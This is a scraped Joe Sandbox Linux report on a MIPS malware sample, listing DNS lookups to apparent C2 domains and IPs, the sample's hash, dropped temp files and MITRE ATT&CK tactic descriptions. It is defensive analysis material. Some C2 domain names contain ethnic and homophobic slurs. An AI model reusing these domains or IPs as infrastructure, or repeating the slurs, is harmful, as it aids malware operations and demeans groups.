Oct 28, 2024 08:04:48.796489000 CET	192.168.2.13	194.36.144.87	0x9dad	Standard query (0)	yellowchink.pirate. [malformed]	256	400	false
Oct 28, 2024 08:05:00.189996958 CET	192.168.2.13	51.158.108.203	0x1e41	Standard query (0)	netfags.geek. [malformed]	256	412	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 28, 2024 08:03:31.362478971 CET	168.235.111.72	192.168.2.13	0xf954	No error (0)	yellowchink.pirate		45.156.86.24	A (IP address)	IN (0x0001)	false
Oct 28, 2024 08:03:31.362478971 CET	168.235.111.72	192.168.2.13	0xf954	No error (0)	yellowchink.pirate		45.156.86.26	A (IP address)	IN (0x0001)	false
Oct 28, 2024 08:03:32.414994001 CET	185.181.61.24	192.168.2.13	0x1fc4	No error (0)	yellowchink.pirate		45.156.86.24	A (IP address)	IN (0x0001)	false
Oct 28, 2024 08:03:36.669497967 CET	152.53.15.127	192.168.2.13	0x86de	Format error (1)	burnthe.libre. [malformed]	none	none	256	328	false
Oct 28, 2024 08:04:23.918035030 CET	51.158.108.203	192.168.2.13	0xe11	Format error (1)	netfags.geek. [malformed]	none	none	256	375	false
Oct 28, 2024 08:04:36.906409025 CET	194.36.144.87	192.168.2.13	0x31a	Format error (1)	burnthe.libre. [malformed]	none	none	256	388	false
Oct 28, 2024 08:04:48.806950092 CET	194.36.144.87	192.168.2.13	0x9dad	Format error (1)	yellowchink.pirate. [malformed]	none	none	256	400	false
Oct 28, 2024 08:05:00.206082106 CET	51.158.108.203	192.168.2.13	0x1e41	Format error (1)	netfags.geek. [malformed]	none	none	256	412	false

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report jklmips.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.09qp8u (deleted)

/tmp/qemu-open.0phzdv (deleted)

/tmp/qemu-open.1kVl2t (deleted)

/tmp/qemu-open.1o2luv (deleted)

/tmp/qemu-open.29NA2u (deleted)

/tmp/qemu-open.2DYGMs (deleted)

/tmp/qemu-open.3Pxihu (deleted)

/tmp/qemu-open.3ZfF5u (deleted)

/tmp/qemu-open.4HULus (deleted)

/tmp/qemu-open.5nESvu (deleted)

/tmp/qemu-open.5usASv (deleted)

/tmp/qemu-open.6ObOSv (deleted)

/tmp/qemu-open.6UShcv (deleted)

/tmp/qemu-open.6qYUov (deleted)

/tmp/qemu-open.72yMCs (deleted)

/tmp/qemu-open.8KZkRv (deleted)

/tmp/qemu-open.8yVEVu (deleted)

/tmp/qemu-open.9R52wv (deleted)

/tmp/qemu-open.A6s7Fs (deleted)

/tmp/qemu-open.AJ5lew (deleted)

/tmp/qemu-open.Ao3vLs (deleted)

/tmp/qemu-open.AoGWgw (deleted)

/tmp/qemu-open.BXAgvt (deleted)

/tmp/qemu-open.Bic3ts (deleted)

/tmp/qemu-open.Bxl3xw (deleted)

/tmp/qemu-open.CWh5Bt (deleted)

/tmp/qemu-open.CdwPQt (deleted)

/tmp/qemu-open.DY2XHt (deleted)

/tmp/qemu-open.DeYc6s (deleted)

/tmp/qemu-open.DqPi8r (deleted)

/tmp/qemu-open.EE3iTt (deleted)

/tmp/qemu-open.EqoyXv (deleted)

/tmp/qemu-open.EvJalt (deleted)

/tmp/qemu-open.FSOrZt (deleted)

Linux Analysis Report
jklmips.elf

Start time (UTC):	07:03:29
Start date (UTC):	28/10/2024
Path:	/tmp/jklmips.elf
Arguments:	/tmp/jklmips.elf
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Start time (UTC):	07:03:30
Start date (UTC):	28/10/2024
Path:	/tmp/jklmips.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre